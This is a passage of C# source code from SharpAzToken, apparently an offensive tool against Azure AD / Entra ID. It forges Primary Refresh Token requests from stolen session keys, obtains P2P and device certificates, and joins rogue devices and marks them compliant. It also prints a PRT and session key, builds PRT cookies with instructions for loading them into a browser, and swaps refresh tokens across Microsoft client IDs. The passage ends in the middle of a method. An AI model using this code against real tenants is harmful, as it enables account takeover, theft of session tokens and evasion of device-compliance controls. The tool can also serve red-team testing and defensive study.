RunTokenV1(options), 61 | (TokenOptionsV2 options) => RunTokenV2(options), 62 | (UtilsOptions options) => RunUtils(options), 63 | (FocifyOptions options) => RunFocify(options), 64 | errs => DisplayHelp(parserResult) 65 | ); 66 | } 67 | 68 | private static int RunP2PAction(P2POptions opts) 69 | { 70 | String result = null; 71 | RSA rsa; 72 | if (opts.PRT != null && ((opts.Context != null & opts.DerivedKey != null) | (opts.SessionKey != null)) && opts.UserName != null) 73 | { 74 | String tenant = null; 75 | if (opts.Tenant != null) 76 | { 77 | tenant = opts.Tenant; 78 | } 79 | else 80 | { 81 | tenant = Utils.GetTenantIdToUPN(opts.UserName, opts.Proxy); 82 | } 83 | rsa = new RSACng(2048); 84 | string CN = "CN=" + opts.UserName; 85 | CertificateRequest req = new System.Security.Cryptography.X509Certificates.CertificateRequest(CN, rsa, System.Security.Cryptography.HashAlgorithmName.SHA256, System.Security.Cryptography.RSASignaturePadding.Pkcs1); 86 | var csr = Convert.ToBase64String(req.CreateSigningRequest()); 87 | string nonce = Helper.GetNonce2(opts.Proxy); 88 | byte[] derivedSessionKey; 89 | Dictionary headerRaw; 90 | byte[] data = Helper.Base64Decode(opts.PRT); 91 | string prtdecoded = Encoding.UTF8.GetString(data); 92 | byte[] decodedKey; 93 | byte[] derivedKey; 94 | 95 | Dictionary payload = new Dictionary 96 | { 97 | { "iss", "aad:brokerplugin" }, 98 | { "aud", "login.microsoftonline.com" }, 99 | { "grant_type", "refresh_token" }, 100 | { "request_nonce", nonce }, 101 | { "scope", "openid aza ugs" }, 102 | { "refresh_token", prtdecoded }, 103 | { "client_id", "38aa3b87-a06d-4817-b275-7a316988d93b"}, 104 | { "cert_token_use", "user_cert" }, 105 | { "csr_type", "http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" }, 106 | { "csr", csr }, 107 | { "prt_protocol_version", "3.8"} 108 | }; 109 | 110 | if (opts.Context != null && opts.DerivedKey != null) 111 | { 112 | var ctx = Helper.Hex2Binary(opts.Context); 113 | headerRaw = new Dictionary 114 | { 115 | { "ctx", ctx } 116 | }; 117 | derivedSessionKey = Helper.Hex2Binary(opts.DerivedKey); 118 | } 119 | else 120 | { 121 | decodedKey = Helper.Base64Decode(opts.SessionKey); 122 | var context = Helper.GetByteArray(24); 123 | if (opts.useKDFv2) { 124 | var derivedContext = Helper.GetKDFv2(payload, context); 125 | derivedKey = Helper.CreateDerivedKey(decodedKey, derivedContext); 126 | derivedSessionKey = derivedKey; 127 | headerRaw = new Dictionary 128 | { 129 | { "ctx", context }, 130 | { "kdf_ver", 2 } 131 | }; 132 | } 133 | else 134 | { 135 | derivedKey = Helper.CreateDerivedKey(decodedKey, context); 136 | derivedSessionKey = derivedKey; 137 | headerRaw = new Dictionary 138 | { 139 | { "ctx", context } 140 | }; 141 | } 142 | } 143 | 144 | IJwtAlgorithm algorithm = new HMACSHA256Algorithm(); // symmetric 145 | IJsonSerializer serializer = new JsonNetSerializer(); 146 | IBase64UrlEncoder urlEncoder = new JwtBase64UrlEncoder(); 147 | IJwtEncoder encoder = new JwtEncoder(algorithm, serializer, urlEncoder); 148 | 149 | var JWT = encoder.Encode(headerRaw, payload, derivedSessionKey); 150 | 151 | FormUrlEncodedContent formContent; 152 | if (opts.useKDFv2) 153 | { 154 | formContent = new FormUrlEncodedContent(new[] 155 | { 156 | new KeyValuePair("grant_type", "urn:ietf:params:oauth:grant-type:jwt-bearer"), 157 | new KeyValuePair("request", JWT), 158 | }); 159 | } 160 | else 161 | { 162 | formContent = new FormUrlEncodedContent(new[] 163 | { 164 | new KeyValuePair("grant_type", "urn:ietf:params:oauth:grant-type:jwt-bearer"), 165 | new KeyValuePair("request", JWT), 166 | new KeyValuePair("windows_api_version", "1.0") 167 | }); 168 | } 169 | result = Helper.PostToTokenEndpoint(formContent, opts.Proxy, opts.Tenant); 170 | } 171 | else if (opts.PFXPath != null && opts.Tenant != null && opts.DeviceName != null) 172 | { 173 | 174 | X509Certificate2 cert = new X509Certificate2(opts.PFXPath, opts.PFXPassword, X509KeyStorageFlags.Exportable); 175 | rsa = cert.GetRSAPrivateKey(); 176 | var x5c = Convert.ToBase64String(cert.Export(X509ContentType.Cert)); 177 | var CN = cert.Subject; 178 | CertificateRequest req = new CertificateRequest(CN, rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); 179 | var csr = Convert.ToBase64String(req.CreateSigningRequest()); 180 | 181 | string nonce = Helper.GetNonce2(opts.Proxy); 182 | 183 | Dictionary headerRaw = new Dictionary 184 | { 185 | { "alg", "RS256" }, 186 | { "typ", "JWT" }, 187 | { "x5c", x5c } 188 | }; 189 | 190 | string headerRawString = JsonConvert.SerializeObject(headerRaw, Formatting.None); 191 | var header = Helper.Base64UrlEncode(System.Text.Encoding.UTF8.GetBytes(headerRawString)); 192 | 193 | var dnsNames = new List(); 194 | dnsNames.Add(opts.DeviceName); 195 | 196 | Dictionary rawPayload = new Dictionary 197 | { 198 | { "request_nonce", nonce }, 199 | { "win_ver", "10.0.18363.0" }, 200 | { "grant_type", "device_auth" }, 201 | { "cert_token_use", "device_cert" }, 202 | { "client_id", "38aa3b87-a06d-4817-b275-7a316988d93b" }, 203 | { "csr_type", "http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" }, 204 | { "csr", csr }, 205 | { "netbios_name", "JuniTest" }, 206 | { "dns_names", dnsNames } 207 | }; 208 | 209 | string rawPayloadString = JsonConvert.SerializeObject(rawPayload, Formatting.None); 210 | var payload = Helper.Base64UrlEncode(System.Text.Encoding.UTF8.GetBytes(rawPayloadString)); 211 | 212 | var dataBin = System.Text.Encoding.UTF8.GetBytes(header + "." + payload); 213 | 214 | var signature = rsa.SignData(dataBin, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); 215 | var signatureb64 = Helper.Base64UrlEncode(signature); 216 | 217 | var JWT = header + "." + payload + "." + signatureb64; 218 | 219 | result = Tokenator.GetP2PCertificate(JWT, opts.Tenant, opts.Proxy); 220 | } 221 | else 222 | { 223 | Console.WriteLine("[-] Use --prt ((--derivedkey --context) or (--sessionkey)) --username or with --pfxpath --tenant --devicename.... Other methods are not implemented yet..."); 224 | return 1; 225 | } 226 | 227 | if (result != null) 228 | { 229 | JToken parsedResult = JToken.Parse(result); 230 | 231 | var binCert = Convert.FromBase64String(parsedResult["x5c"].ToString()); 232 | 233 | X509Certificate2 cert = new X509Certificate2(binCert, "", X509KeyStorageFlags.PersistKeySet | X509KeyStorageFlags.Exportable); 234 | string deviceId = cert.Subject.Split("=")[1]; 235 | deviceId = deviceId.Split(",")[0]; 236 | var keyPair = cert.CopyWithPrivateKey(rsa); 237 | byte[] certData = keyPair.Export(X509ContentType.Pfx, opts.PFXPassword); 238 | File.WriteAllBytes(deviceId + "-P2P.pfx", certData); 239 | 240 | String certHeader = "-----BEGIN PUBLIC KEY-----\n"; 241 | String certend = "\n-----END PUBLIC KEY-----"; 242 | 243 | string caCert = certHeader + parsedResult["x5c_ca"].ToString() + certend; 244 | File.WriteAllText(deviceId + "-P2P-CA.der", caCert); 245 | 246 | Console.WriteLine(); 247 | Console.WriteLine("[+] Subject: " + cert.Subject); 248 | Console.WriteLine("[+] Issuer: " + cert.Issuer); 249 | Console.WriteLine("[+] CA file name: " + deviceId + "-P2P-CA.der"); 250 | Console.WriteLine("[+] PFX file name: " + deviceId + "-P2P.pfx"); 251 | return 0; 252 | } 253 | return 1; 254 | } 255 | 256 | static int RunDeviceKeys(DeviceKeyOptions opts) 257 | { 258 | String refreshtoken = null; 259 | string tenantId = null; 260 | var serializer = new JsonNetSerializer(); 261 | var urlEncoder = new JwtBase64UrlEncoder(); 262 | var decoder = new JwtDecoder(serializer, urlEncoder); 263 | if (opts.RefreshToken != null) 264 | { 265 | string initToken = Tokenator.GetTokenFromRefreshTokenV1(opts.RefreshToken, opts.Tenant, opts.Proxy, AzClientIDEnum.AzureMDM, AzResourceEnum.AzureMDM, opts.UserAgent); 266 | string checkAccessToken = JToken.Parse(initToken)["access_token"].ToString(); 267 | string decodedaccesstoken = decoder.Decode(checkAccessToken); 268 | JToken parsedAccessToken = JToken.Parse(decodedaccesstoken); 269 | String aud = parsedAccessToken["aud"].ToString(); 270 | tenantId = parsedAccessToken["tid"].ToString(); 271 | if (aud != AzResourceEnum.AzureMDM) 272 | { 273 | Console.WriteLine("[-] AccessToken does not contain correct Audience..."); 274 | return 1; 275 | } 276 | refreshtoken = opts.RefreshToken; 277 | } 278 | else if (opts.UserName != null && opts.Password != null) 279 | { 280 | String initTokens = Tokenator.GetTokenFromUsernameAndPasswordV1(opts.UserName, opts.Password, opts.Proxy, AzClientIDEnum.AzureMDM, AzResourceEnum.AzureMDM, opts.Tenant, opts.UserAgent); 281 | if (initTokens == null) 282 | { 283 | Console.WriteLine("[-] Authentication failed. Please check used credentials!"); 284 | return 1; 285 | } 286 | JToken parsedInitToken = JToken.Parse(initTokens); 287 | tenantId = Helper.GetTenantFromAccessToken(parsedInitToken["access_token"].ToString()); 288 | refreshtoken = parsedInitToken["refresh_token"].ToString(); 289 | } else 290 | { 291 | Console.WriteLine("[-] For this you need a username and a password"); 292 | Console.WriteLine(""); 293 | return 1; 294 | } 295 | 296 | if (refreshtoken != null && tenantId != null) 297 | { 298 | X509Certificate2 cert = new X509Certificate2(opts.PFXPath, "", X509KeyStorageFlags.Exportable); 299 | var privateKey = cert.GetRSAPrivateKey(); 300 | var x5c = Convert.ToBase64String(cert.Export(X509ContentType.Cert)); 301 | 302 | string nonce = Helper.GetNonce2(opts.Proxy); 303 | 304 | Dictionary headerRaw = new Dictionary 305 | { 306 | { "alg", "RS256" }, 307 | { "typ", "JWT" }, 308 | { "x5c", x5c } 309 | }; 310 | 311 | string headerRawString = JsonConvert.SerializeObject(headerRaw, Formatting.None); 312 | var header = Helper.Base64UrlEncode(System.Text.Encoding.UTF8.GetBytes(headerRawString)); 313 | 314 | Dictionary rawPayload = new Dictionary 315 | { 316 | { "request_nonce", nonce }, 317 | { "scope", "openid aza ugs" }, 318 | { "win_ver", "10.0.18363.0" }, 319 | { "grant_type", "refresh_token" }, 320 | { "refresh_token", refreshtoken }, 321 | { "client_id", AzClientIDEnum.AzureMDM } 322 | }; 323 | 324 | string rawPayloadString = JsonConvert.SerializeObject(rawPayload, Formatting.None); 325 | var payload = Helper.Base64UrlEncode(System.Text.Encoding.UTF8.GetBytes(rawPayloadString)); 326 | 327 | var dataBin = System.Text.Encoding.UTF8.GetBytes(header + "." + payload); 328 | 329 | var signature = privateKey.SignData(dataBin, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); 330 | var signatureb64 = Helper.Base64UrlEncode(signature); 331 | 332 | var JWT = header + "." + payload + "." + signatureb64; 333 | 334 | var formContent = new FormUrlEncodedContent(new[] 335 | { 336 | new KeyValuePair("windows_api_version", "2.0"), 337 | new KeyValuePair("grant_type", "urn:ietf:params:oauth:grant-type:jwt-bearer"), 338 | new KeyValuePair("request", JWT), 339 | new KeyValuePair("client_info", "2") 340 | }); 341 | 342 | string result = Helper.PostToTokenEndpoint(formContent, opts.Proxy, tenantId); 343 | JToken parsedResult = JToken.Parse(result); 344 | 345 | if (parsedResult["refresh_token"] != null && parsedResult["session_key_jwe"] != null) 346 | { 347 | string PRT = parsedResult["refresh_token"].ToString(); 348 | string JWE = parsedResult["session_key_jwe"].ToString(); 349 | string[] JWESplitted = JWE.Split("."); 350 | byte[] encKey = Helper.Base64Decode(JWESplitted[1]); 351 | var formatter = new System.Security.Cryptography.RSAOAEPKeyExchangeDeformatter(privateKey); 352 | var dekey = formatter.DecryptKeyExchange(encKey); 353 | string decryptionKey = Convert.ToBase64String(dekey); 354 | 355 | Console.WriteLine(); 356 | Console.WriteLine("[+] Here is your PRT:"); 357 | Console.WriteLine(); 358 | Console.WriteLine(Convert.ToBase64String(Encoding.ASCII.GetBytes(PRT))); 359 | Console.WriteLine(); 360 | Console.WriteLine("[+] Here is your session key:"); 361 | Console.WriteLine(); 362 | Console.WriteLine(decryptionKey); 363 | Console.WriteLine(""); 364 | 365 | return 0; 366 | } 367 | else if (parsedResult["error_description"] != null) 368 | { 369 | Console.WriteLine(); 370 | Console.WriteLine("[-] Something went wrong:"); 371 | Console.WriteLine(); 372 | Console.WriteLine(parsedResult["error_description"].ToString()); 373 | Console.WriteLine(""); 374 | return 1; 375 | }else 376 | { 377 | Console.WriteLine(); 378 | Console.WriteLine("[-] Something went completly wrong... sorry"); 379 | Console.WriteLine(); 380 | 381 | return 1; 382 | } 383 | } 384 | else 385 | { 386 | Console.WriteLine(); 387 | Console.WriteLine("[-] Something went completly wrong... sorry"); 388 | Console.WriteLine(); 389 | return 1; 390 | } 391 | } 392 | 393 | static int RunDevice(DeviceOptions opts) 394 | { 395 | String accesstoken = null; 396 | String upn = null; 397 | string tenantId = null; 398 | var serializer = new JsonNetSerializer(); 399 | var urlEncoder = new JwtBase64UrlEncoder(); 400 | var decoder = new JwtDecoder(serializer, urlEncoder); 401 | if (opts.JoinDevice) { 402 | if (opts.DeviceName != null) 403 | { 404 | if (opts.AccessToken != null) 405 | { 406 | 407 | string decodedaccesstoken = decoder.Decode(opts.AccessToken); 408 | JToken parsedAccessToken = JToken.Parse(decodedaccesstoken); 409 | String aud = parsedAccessToken["aud"].ToString(); 410 | tenantId = parsedAccessToken["tid"].ToString(); 411 | upn = parsedAccessToken["upn"].ToString(); 412 | if (aud != AzClientIDEnum.DeviceMgmt) 413 | { 414 | Console.WriteLine("AccessToken does not contain correct Audience..."); 415 | return 1; 416 | } 417 | accesstoken = opts.AccessToken; 418 | } 419 | else 420 | { 421 | String token = Tokenator.GetTokenFromUsernameAndPasswordV1(opts.UserName, opts.Password, opts.Proxy, AzClientIDEnum.GraphAPI, AzResourceEnum.WindowsClient, opts.Tenant, opts.UserAgent); 422 | if (token == null) 423 | { 424 | Console.WriteLine("[-] Authentication failed! "); 425 | return 1; 426 | } 427 | JToken parsedInitToken = JToken.Parse(token); 428 | if (parsedInitToken["error"] != null) 429 | { 430 | Console.WriteLine("[-] Something went wrong!"); 431 | Console.WriteLine(""); 432 | var beautified = parsedInitToken.ToString(Formatting.Indented); 433 | Console.WriteLine(beautified); 434 | Console.WriteLine(""); 435 | Console.WriteLine("[-] Good bye!"); 436 | return 1; 437 | } 438 | String initAccesstoken = decoder.Decode(parsedInitToken["access_token"].ToString()); 439 | var parsedInitAccessToken = JToken.Parse(initAccesstoken); 440 | tenantId = parsedInitAccessToken["tid"].ToString(); 441 | upn = parsedInitAccessToken["upn"].ToString(); 442 | JToken parsedTokenForDevMgmt = JToken.Parse(token); 443 | accesstoken = parsedTokenForDevMgmt["access_token"].ToString(); 444 | } 445 | if (accesstoken != null && upn != null && tenantId != null) 446 | { 447 | 448 | // https://github.com/Gerenios/AADInternals/blob/23831d5af045eeaa199ab098d29df9d4a60f460e/PRT_Utils.ps1#L95 449 | RSACng rsa = new RSACng(2048); 450 | string CN = "CN=7E980AD9-B86D-4306-9425-9AC066FB014A"; 451 | CertificateRequest req = new System.Security.Cryptography.X509Certificates.CertificateRequest(CN, rsa, System.Security.Cryptography.HashAlgorithmName.SHA256, System.Security.Cryptography.RSASignaturePadding.Pkcs1); 452 | var crs = Convert.ToBase64String(req.CreateSigningRequest()); 453 | var transportKey = Convert.ToBase64String(rsa.Key.Export(CngKeyBlobFormat.GenericPublicBlob)); 454 | var responseJoinDevice = MEManager.addNewDeviceToAzure(opts.Proxy, accesstoken, crs, transportKey, upn.Split("@")[1], opts.DeviceName, opts.RegisterDevice, opts.UserAgent); 455 | byte[] binCert = Convert.FromBase64String(responseJoinDevice.Certificate.RawBody.ToString()); 456 | X509Certificate2 cert = new X509Certificate2(binCert, "", X509KeyStorageFlags.UserKeySet | X509KeyStorageFlags.Exportable); 457 | 458 | string deviceId = cert.Subject.Split("=")[1]; 459 | Console.WriteLine("[+]Device successfull added to Azure"); 460 | Console.WriteLine(""); 461 | Console.WriteLine("[+] The deviceId is: " + deviceId); 462 | Console.WriteLine(""); 463 | Console.WriteLine(JToken.FromObject(responseJoinDevice).ToString(Formatting.Indented)); 464 | Console.WriteLine(""); 465 | 466 | // https://github.com/dotnet/runtime/issues/19581 467 | var keyPair = cert.CopyWithPrivateKey(rsa); 468 | byte[] certData = keyPair.Export(X509ContentType.Pfx, ""); 469 | File.WriteAllBytes(deviceId + ".pfx", certData); 470 | 471 | Console.WriteLine("Device Certificate written to " + deviceId + ".pfx"); 472 | Console.WriteLine(""); 473 | return 0; 474 | } 475 | } 476 | else 477 | { 478 | Console.WriteLine("[-] You must set a device name (--devicename)."); 479 | return 1; 480 | } 481 | }else if (opts.MarkCompliant) 482 | { 483 | if (opts.ObjectID != null) 484 | { 485 | if (opts.AccessToken != null) 486 | { 487 | int result = 0; 488 | result = MEManager.MarkDeviceAsCompliant(opts.ObjectID, opts.AccessToken, opts.Proxy); 489 | Console.WriteLine("[+] Responsecode is: " + result.ToString()); 490 | return 0; 491 | } 492 | else 493 | { 494 | Console.WriteLine("[-] This is currently only implemented with --accesstoken, get the correct token with --clientname Graph"); 495 | return 1; 496 | } 497 | } 498 | else 499 | { 500 | Console.WriteLine("[-] You must set an ObjectId id (--objectid)"); 501 | return 1; 502 | } 503 | } 504 | else 505 | { 506 | Console.WriteLine("[-] Please specify an action --joindevice or --markcompliant"); 507 | return 1; 508 | } 509 | 510 | return 1; 511 | } 512 | 513 | static int Error() { 514 | Console.WriteLine("Please specify an action and options!"); 515 | Console.WriteLine(" "); 516 | return 1; 517 | 518 | } 519 | 520 | static int RunNonce(NonceOptions opts) 521 | { 522 | 523 | Console.WriteLine(Helper.getNonce(opts.Proxy)); 524 | Console.WriteLine(""); 525 | return 0; 526 | } 527 | 528 | static int RunFocify(FocifyOptions opts) 529 | { 530 | Console.WriteLine("[+] Starting to focify your token."); 531 | FociClients clients = new FociClients(); 532 | foreach (FieldInfo info in clients.GetType().GetFields()) 533 | { 534 | var type = Nullable.GetUnderlyingType(info.FieldType) ?? info.FieldType; 535 | if (type == typeof(String)) 536 | { 537 | //Console.WriteLine(info.GetValue(null).ToString()); 538 | String result = Tokenator.GetTokenWithRefreshTokenV2(opts.RefreshToken, opts.Proxy, opts.Scope, info.GetValue(null).ToString(), opts.Tenant, opts.UserAgent, null); 539 | if (result != null) 540 | { 541 | var serializer = new JsonNetSerializer(); 542 | var urlEncoder = new JwtBase64UrlEncoder(); 543 | var decoder = new JwtDecoder(serializer, urlEncoder); 544 | JToken parsedJson = JToken.Parse(result); 545 | 546 | if (parsedJson["error"] != null) 547 | { 548 | Console.WriteLine("[-] Something went wrong!"); 549 | Console.WriteLine(""); 550 | 551 | Console.WriteLine(parsedJson["error_description"].ToString()); 552 | Console.WriteLine(""); 553 | } 554 | 555 | if (parsedJson["id_token"] != null) 556 | { 557 | var id_token = decoder.Decode(parsedJson["id_token"].ToString()); 558 | var parsedIDToken = JToken.Parse(id_token); 559 | parsedJson["id_token"] = parsedIDToken; 560 | } 561 | 562 | Console.WriteLine("[+] Here is your token:"); 563 | Console.WriteLine(""); 564 | var beautified = parsedJson.ToString(Formatting.Indented); 565 | Console.WriteLine(beautified); 566 | Console.WriteLine(""); 567 | Console.WriteLine("=============================================="); 568 | Console.WriteLine(""); 569 | } 570 | } 571 | } 572 | return 0; 573 | } 574 | 575 | static int RunCookie(CookieOptions opts) 576 | { 577 | string PRTCookie = null; 578 | if (opts.PRT != null && opts.DerivedKey != null && opts.Context != null) 579 | { 580 | PRTCookie = Helper.createPRTCookie(opts.PRT, opts.Context, opts.DerivedKey, null, opts.Proxy); 581 | } 582 | else if (opts.PRT != null & opts.SessionKey != null) 583 | { 584 | /**var context = Helper.GetByteArray(24); 585 | var decodedKey = Helper.Base64Decode(opts.SessionKey); 586 | var derivedKey = Helper.CreateDerivedKey(decodedKey, context); 587 | 588 | var contextHex = Helper.Binary2Hex(context); 589 | var derivedSessionKeyHex = Helper.Binary2Hex(derivedKey); 590 | **/ 591 | 592 | if (!opts.useKDFv1) 593 | { 594 | PRTCookie = Helper.createPRTCookieWithKDFv2(opts.PRT, null, null, opts.SessionKey, opts.Proxy); 595 | } 596 | else 597 | { 598 | PRTCookie = Helper.createPRTCookie(opts.PRT, null, null, opts.SessionKey, opts.Proxy); 599 | } 600 | } 601 | else 602 | { 603 | Console.WriteLine("Please set the corect arguments."); 604 | return 1; 605 | } 606 | 607 | Console.WriteLine("[+] Here is your PRT-Cookie:"); 608 | Console.WriteLine(""); 609 | Console.WriteLine(PRTCookie); 610 | Console.WriteLine(""); 611 | Console.WriteLine("[+] You can use it with this tool or add it to a browser."); 612 | Console.WriteLine("[+] Set as cookie \"x-ms-RefreshTokenCredential\" with HTTPOnly flag"); 613 | Console.WriteLine(""); 614 | 615 | return 0; 616 | } 617 | 618 | static int RunUtils(UtilsOptions opts) 619 | { 620 | if (opts.Domain != null) 621 | { 622 | String result = null; 623 | result = Utils.GetTenantIdToDomain(opts.Domain, opts.Proxy); 624 | if (result != null) 625 | { 626 | Console.WriteLine("[+] The TenantID is: " + result); 627 | } 628 | else 629 | { 630 | Console.WriteLine("[-] It seems the domain does not exist."); 631 | } 632 | return 0; 633 | } 634 | return 1; 635 | } 636 | 637 | static int RunTokenV1(TokenOptionsV1 opts) 638 | { 639 | 640 | if (opts.ClientName != null) 641 | { 642 | switch (opts.ClientName) 643 | { 644 | case "Outlook": 645 | opts.ClientID = AzClientIDEnum.MicrosoftOffice; 646 | opts.ResourceID = AzResourceEnum.Outlook; 647 | break; 648 | case "Substrate": 649 | opts.ClientID = AzClientIDEnum.Substrate; 650 | opts.ResourceID = AzResourceEnum.Substrate; 651 | break; 652 | case "Teams": 653 | opts.ClientID = AzClientIDEnum.Teams; 654 | opts.ResourceID = AzResourceEnum.Teams; 655 | break; 656 | case "Graph": 657 | opts.ClientID = AzClientIDEnum.GraphAPI; 658 | opts.ResourceID = AzResourceEnum.GraphAPI; 659 | break; 660 | case "MSGraph": 661 | opts.ClientID = AzClientIDEnum.MSGraph; 662 | opts.ResourceID = AzResourceEnum.MSGraph; 663 | break; 664 | case "Core": 665 | opts.ClientID = AzClientIDEnum.Core; 666 | opts.ResourceID = AzResourceEnum.Core; 667 | break; 668 | case "Office": 669 | opts.ClientID = AzClientIDEnum.OfficeApps; 670 | opts.ResourceID = AzResourceEnum.OfficeApps; 671 | break; 672 | case "Intune": 673 | opts.ClientID = AzClientIDEnum.Intune; 674 | opts.ResourceID = AzResourceEnum.Intune; 675 | break; 676 | case "Windows": 677 | opts.ClientID = AzClientIDEnum.WindowsClient; 678 | opts.ResourceID = AzResourceEnum.WindowsClient; 679 | break; 680 | case "AzureMDM": 681 | opts.ClientID = AzClientIDEnum.AzureMDM; 682 | opts.ResourceID = AzResourceEnum.AzureMDM; 683 | break; 684 | case "ComplianceCenter": 685 | opts.ClientID = AzClientIDEnum.ExchangeOnlinePowerShell; 686 | opts.ResourceID = AzResourceEnum.Core; 687 | break; 688 | case "ExchangeOnlineV2": 689 | opts.ClientID = AzClientIDEnum.ExchangeOnlinePowerShell; 690 | break; 691 | case "SharepointOnline": 692 | break; 693 | default: 694 | Console.WriteLine("[-] Please choose Outlook, Substrate, Teams, Graph, MSGraph, Webshell, Core, Office, Intune, AzureMDM or WinClient"); 695 | return 1; 696 | } 697 | } 698 | 699 | if(opts.ClientName == "SharepointOnline") 700 | { 701 | if (opts.ResourceID == null ) 702 | { 703 | Console.WriteLine("[-] Please specify your sharepoint url in the parameter --resourceid with the pattern: https://.sharepoint.com!"); 704 | return 1; 705 | } else if (!opts.ResourceID.EndsWith(".sharepoint.com") | !opts.ResourceID.StartsWith("https://")){ 706 | Console.WriteLine("[-] Please specify your sharepoint url in the parameter --resourceid with the pattern: https://.sharepoint.com!"); 707 | return 1; 708 | } 709 | } 710 | 711 | String result = Tokenator.getTokenV1(opts); 712 | if (result != null) 713 | { 714 | var serializer = new JsonNetSerializer(); 715 | var urlEncoder = new JwtBase64UrlEncoder(); 716 | var decoder = new JwtDecoder(serializer, urlEncoder); 717 | JToken parsedJson = JToken.Parse(result); 718 | 719 | if (parsedJson["error"] != null) 720 | { 721 | Console.WriteLine("[-] Something went wrong!"); 722 | Console.WriteLine(""); 723 | 724 | Console.WriteLine(parsedJson["error_description"].ToString()); 725 | Console.WriteLine(""); 726 | return 1; 727 | } 728 | 729 | if (parsedJson["id_token"] != null) 730 | { 731 | var id_token = decoder.Decode(parsedJson["id_token"].ToString()); 732 | var parsedIDToken = JToken.Parse(id_token); 733 | parsedJson["id_token"] = parsedIDToken; 734 | } 735 | 736 | Console.WriteLine("[+] Here is your token:"); 737 | Console.WriteLine(""); 738 | var beautified = parsedJson.ToString(Formatting.Indented); 739 | Console.WriteLine(beautified); 740 | Console.WriteLine(""); 741 | 742 | return 0; 743 | } 744 | return 1; 745 | } 746 | 747 | static int RunTokenV2(TokenOptionsV2 opts) 748 | { 749 | 750 | if (opts.ClientName != null) 751 | { 752 | switch (opts.ClientName) 753 | { 754 | case "Outlook": 755 | opts.ClientID = AzClientIDEnum.MicrosoftOffice; 756 | opts.Scope = AzScopes.Default; 757 | break; 758 | case "Substrate": 759 | opts.ClientID = AzClientIDEnum.Substrate; 760 | opts.Scope = AzScopes.Default; 761 | break; 762 | case "Teams": 763 | opts.ClientID = AzClientIDEnum.Teams; 764 | opts.Scope = AzScopes.Default; 765 | break; 766 | case "Graph": 767 | opts.ClientID = AzClientIDEnum.GraphAPI; 768 | opts.Scope = AzScopes.Default; 769 | break; 770 | case "MSGraph": 771 | opts.ClientID = AzClientIDEnum.MSGraph; 772 | opts.Scope = AzScopes.Default; 773 | break; 774 | case "Core": 775 | opts.ClientID = AzClientIDEnum.Core; 776 | opts.Scope = AzScopes.Default; 777 | break; 778 | case "Office": 779 | opts.ClientID = AzClientIDEnum.OfficeApps; 780 | opts.Scope = AzScopes.Default; 781 | break; 782 | case "Intune": 783 | opts.ClientID = AzClientIDEnum.Intune; 784 | opts.Scope = AzScopes.Default; 785 | break; 786 | case "Windows": 787 | opts.ClientID = AzClientIDEnum.WindowsClient; 788 | opts.Scope = AzScopes.Default; 789 | break; 790 | case "AzureMDM": 791 | opts.ClientID = AzClientIDEnum.AzureMDM; 792 | opts.Scope = AzScopes.Default; 793 | break; 794 | case "ComplianceCenter": 795 | opts.ClientID = AzClientIDEnum.ExchangeOnlinePowerShell; 796 | opts.Scope = AzScopes.ComplianceCenter; 797 | break; 798 | case "ExchangeOnlineV2": 799 | opts.ClientID = AzClientIDEnum.ExchangeOnlinePowerShell; 800 | break; 801 | default: 802 | Console.WriteLine("[-] Please choose Outlook, Substrate, Teams, Graph, MSGraph, Webshell, Core, Office, Intune, AzureMDM or WinClient"); 803 | return 1; 804 | } 805 | } 806 | 807 | String result = Tokenator.getTokenV2(opts); 808 | if (result != null) 809 | { 810 | var serializer = new JsonNetSerializer(); 811 | var urlEncoder = new JwtBase64UrlEncoder(); 812 | var decoder = new JwtDecoder(serializer, urlEncoder); 813 | JToken parsedJson = JToken.Parse(result); 814 | 815 | if (parsedJson["error"] != null) 816 | { 817 | Console.WriteLine("[-] Something went wrong!"); 818 | Console.WriteLine(""); 819 | 820 | Console.WriteLine(parsedJson["error_description"].ToString()); 821 | Console.WriteLine(""); 822 | return 1; 823 | } 824 | 825 | if (parsedJson["id_token"] != null) 826 | { 827 | var id_token = decoder.Decode(parsedJson["id_token"].ToString()); 828 | var parsedIDToken = JToken.Parse(id_token); 829 | parsedJson["id_token"] = parsedIDToken; 830 | } 831 | 832 | Console.WriteLine("[+] Here is your token:"); 833 | Console.WriteLine(""); 834 | var beautified = parsedJson.ToString(Formatting.Indented); 835 | Console.WriteLine(beautified); 836 | Console.WriteLine(""); 837 | 838 | return 0; 839 | } 840 | return 1; 841 | } 842 | 843 | } 844 | } 845 | -------------------------------------------------------------------------------- /SharpAzToken/SharpAzToken.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net7.0 6 | 0.0.2 7 | Constantin Wenz 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /SharpAzToken/Tokenator.cs: -------------------------------------------------------------------------------- 1 | using SharpAzToken.Models; 2 | using Newtonsoft.Json; 3 | using Newtonsoft.Json.Linq; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Net.Http; 7 | using System.Text; 8 | 9 | namespace SharpAzToken 10 | { 11 | class Tokenator 12 | { 13 | 14 | public static string RequestForPendingAuthentication(string code, string clientID, string proxy, bool useOAuthV2) 15 | { 16 | var formContent = new FormUrlEncodedContent(new[] 17 | { 18 | new KeyValuePair("code",code), 19 | new KeyValuePair("grant_type","urn:ietf:params:oauth:grant-type:device_code"), 20 | new KeyValuePair("client_id", clientID) 21 | }); 22 | if (useOAuthV2) 23 | { 24 | return Helper.PostToTokenV2Endpoint(formContent, proxy); 25 | } 26 | else 27 | { 28 | return Helper.PostToTokenEndpoint(formContent, proxy); 29 | } 30 | 31 | } 32 | 33 | public static string RequestDeviceCode(string clientid, string payload, string proxy, bool useOAuthV2) 34 | { 35 | if (useOAuthV2) 36 | { 37 | var formContent = new FormUrlEncodedContent(new[] 38 | { 39 | new KeyValuePair("client_id", clientid), 40 | new KeyValuePair("scope", payload) 41 | }); 42 | return Helper.PostToDeviceCodeEndpoint(formContent, proxy, useOAuthV2); 43 | } 44 | else 45 | { 46 | var formContent = new FormUrlEncodedContent(new[] 47 | { 48 | new KeyValuePair("client_id", clientid), 49 | new KeyValuePair("resource", payload) 50 | }); 51 | return Helper.PostToDeviceCodeEndpoint(formContent, proxy, useOAuthV2); 52 | } 53 | } 54 | 55 | public static string 